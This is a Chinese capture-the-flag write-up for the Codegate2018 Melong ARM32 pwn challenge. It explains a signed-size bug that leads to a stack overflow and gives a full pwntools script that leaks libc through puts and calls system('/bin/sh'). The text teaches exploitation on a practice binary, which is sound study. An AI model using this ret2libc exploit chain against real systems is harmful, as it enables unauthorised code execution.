前言
在上一篇文章中我们讲解了一道ARM32静态链接的题目,本篇文章讲解的是ARM32动态链接
的题目:Codegate2018_Melong。其实本质并没有什么太大的区别,仅仅只是多了一个动态链接库而已,并不会有什么影响,基本的做题思路和以往的x86类题目保持一致
往期回顾:
通过一道ARM PWN题引发的思考:jarvisOJ_typo
ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建
好好说话之House Of Einherjar
(补题)HITCON 2018 PWN baby_tcache超详细讲解
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
(补题)LCTF2018 PWN easy_heap超详细讲解
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink
…
文章目录
Codegate2018_Melong
检查一下
首先检查一下程序属性:
可以看到这是一个32位动态链接的ARM架构ELF文件,并且题目中是给了lib.so的,所以一会使用qemu启动程序的时候就需要使用-L
参数来挂libc了
接着检查一下程序的保护机制:
可以看到只开启了NX保护,没有什么特别的东西
静态分析
扔到ida里面看一下,这个程序不怎么复杂,函数也比较少,所以就先看一下伪C代码:
main()函数
main()函数太长了,就分左右截图了。先看左面,左面主要是一些初始化及menu信息。需要注意的是a2变量的缓冲区大小,从图中可看到a2的缓冲区大小为0x54
,后续会用到这个点。再来看一下menu中的信息,根据后面对各功能的分析,输入1会调用check函数,输入2会调用exercise()函数,输入3会调用PT()函数,输入4会调用write_diary()函数,5和6为输出字符串退出,没有什么太多可说的
接下来看一下右面,使用switch case判断输入数值,这里有几个点需要注意一下,首先check()函数中一参v5
会作为进入exercise()函数和PT()函数的判断条件
。也就是说需要先执行check()函数,并且使得v5获得一个真值
后才能进入exercise()函数和PT()函数,即程序执行时必须先选择1,才能选择2和3
。第二个点需要注意的是v7变量作为PT()函数的返回值,是进入write_diary()函数的判断条件,如果想要执行write_diary()函数,那么就必须执行PT()函数并返回一个真值
,即程序执行时必须先选择3,才能选择4
check()函数
简单的描述一下check()函数,在main()函数中v5的初始值为0,v5作为check()函数的参数。进入程序后可以看到将v5的值赋给了v6,并且经过判断之后v5的值加一,也就是说每次运行程序check()函数最多能被调用两次。这里需要注意的是v5变量是存放在bss段的全局变量,所以后续函数依然还会对v5进行判断操作
接着会打印一下一些友情提示,接着会有两次输入,第一次输入身高,第二次输入体重。接下来会调用calc()函数去计算一下bmi值,最后调用get_result()函数。check()函数前半部分都没有什么太多感兴趣的点,但是后面这个get_result()函数需要细点说明。可以看到v5变量是calc()函数计算之后的bmi值,会作为参数传入get_result()函数中。get_result()函数主要的功能就是通过bmi值去判断你的健康情况,每个判断分支中都会创建一个v2大小的堆块,并把其malloc指针赋给exc
变量中,这个exc变量会在后续的执行流程中用到
exercise()函数
没啥特别的,只是一堆计算,对于漏洞的利用没有什么特别大的影响,就不详细分析了
PT()函数
PT()函数内部就比较简单了,首先需要输入一个数值作为size,并创建一个size大小的chunk,接下来释放该chunk并且返回size。这里需要注意的是size是一个无符号int,也就是说我们其实是可以写一个负数的,那么经过第一个分支后会返回一个负的十六进制数。这个点会在后面write_diary()函数中用到
write_diary()函数
在进入write_diary()函数前是需要检查PT()函数返回值的,因为我们输入负数返回值不为空,所以可以进入到write_diary()函数中。并且返回的size作为write_diary()函数的一参传入,传入后的size将负值赋给无符号变量nbytes,那么nbytes就变成了一个以0xf开头4字节很大的一个数值。接下来会向bss段的a2变量写入nbytes个字节,这里就出现了栈溢出,因为a2变量在前面提到过,它能够存放的最大长度为0x54,所以nbtyes一定是大于0x54的
查看程序执行流程
静态分析后,使用qemu启动一下程序,几个重要选项写出交互代码
主界面
1选项:check()函数
需要进行两次输入,在冒号之后输入,交互代码如下:
3选项:PT()函数
一次输入,在问号之后输入,交互代码如下:
4选项:write_diray()函数
直接输入数据,交互代码如下:
6选项:退出
为什么要加上一个6选项呢?这是因为在动态调试的时候发现,之后选择6选项之后才能执行栈中部署的内容,就很奇怪,ida里面也没看到有相关的说明。。。。。
交互代码如下:
思路分析
通过前面静态分析阶段,我们得到如下几个可以利用的点:
- a2字符串数组长度为0x54
- 程序需要进入1选项check()函数后才能进入3选项PT()函数
- PT()函数返回值有符号size可以为负数
- size作为参数传入write_diray()中并赋值给read()函数三参nbytes,但nbytes为无符号整型,所以强转后为一个0xf开头的4字大数
- 由于read()函数写入的位置为a2字符串数组,因此造成了溢出
那么现在溢出点找到了,接下来就需要通过栈溢出泄露泄露函数地址,进而找到libc基地址,在通过基地址找到system()函数地址及/bin/sh字符串地址。这部分过程就和x86下的ret2libc3一样了
计算缓冲区大小
这里就演示一下动态调试查看缓冲区大小,其实静态的时候就已经可以看到a2字符串数组的长度了
首先使用qemu吧程序起起来,加入-g参数等待gdb链接:
然后gdb-multiarch启动,设置arm架构,链接本地1212端口
按c继续,在程序执行界面走到write_diray()函数,并输入cyclic创建的200个字符串
1 --> 1.8,20 --> 3 --> -1 --> 4 --> cyclic(200) --> 6
程序就会断在0x61616176处,再使用cyclic计算出长度:
最终计算出缓冲区大小为84,即0x54
泄露并找到libc基地址
程序中是存在puts()函数的,所以可以直接使用pwntools查找puts.plt和puts.got,我们还需要准备main()函数地址,主要构造思路为puts.got
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
主要构造思路为将puts.got作为puts.plt,最后重新返回至main()函数进行接下来的操作。那么就意味着我们需要一个能够向R0寄存器赋值并返回的gadget:
可以看到只有一个满足条件的gadget:0x00011bbc
那么构造的payload如下:
payload = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)
这样一来我们就可以通过write_diray()函数发送,并调用logout()函数执行,这样就能输出puts()函数真实地址puts_real了,接下来计算libc基地址就可以了
libc.address = puts_real - libc.sym['puts']
第二次调用main函数getshell
由于前面payload的构造使得程序返回main()函数,这就意味着可以再次执行程序流程,进入到write_diray()函数的过程和第一次是一样的,唯一需要修改的是payload
因为已经得到了libc基地址,所以可以找到system()函数和/bin/sh字符串。依然使用pop_r0这段gadget,将/bin/sh字符串地址作为system()函数的参数,执行就可以了
payload = b'b'*0x54 + p32(pop_r0_ret) + p32(bin_sh) + p32(libc.sym['system'])
再次使用write_diray()函数发送,并且调用logout退出就可以拿shell了!
EXP
1 from pwn import *
2
3 hollk = process(["qemu-arm", "-L", "./", "./melong"])
4
5 elf = ELF("./melong", checksec = False)
6 libc = ELF("./lib/libc.so.6", checksec = False)
7 context.log_level = "debug"
8
9 def check(height, weight):
10 hollk.sendlineafter(":", "1")
11 hollk.sendlineafter(" : ", str(height))
12 hollk.sendlineafter(" : ", str(weight))
13
14 def PT(size):
15 hollk.sendlineafter(":", "3")
16 hollk.sendlineafter("?\n", str(size))
17
18 def write_diray(payload):
19 hollk.sendlineafter(":", "4")
20 hollk.send(payload)
21
22 def logout():
23 hollk.sendlineafter(":", "6")
24
25 pop_r0_ret = 0x00011bbc
26 puts_plt = elf.plt['puts']
27 puts_got = elf.got['puts']
28 main_addr = elf.sym['main']
29
30 check(1,1) #完成对1选项执行流程
31 PT(-1) #在3选项中输入负数使得后面read()函数能够造成栈溢出
32
33 payload1 = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)*8 #puts.got作为puts.plt的参数,返回main函数,不知道为什么最后要乘8,如果你知道的话希望能够在评论区指点一下
34
35 write_diray(payload1)
36 logout()
37 hollk.recvuntil("See you again :)\n")
38 leak = u32(hollk.recvn(4)) #泄露
39 libc.address = leak - libc.sym['puts'] #计算libc基地址
40
41 check(1,1)
42 PT(-1)
43 payload2 = cyclic(0x54) + p32(pop_r0_ret) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym['system']) #/bin/sh字符串作为system函数的参数,拿shell
44 write_diray(payload2)
45 logout()
46
47 hollk.interactive()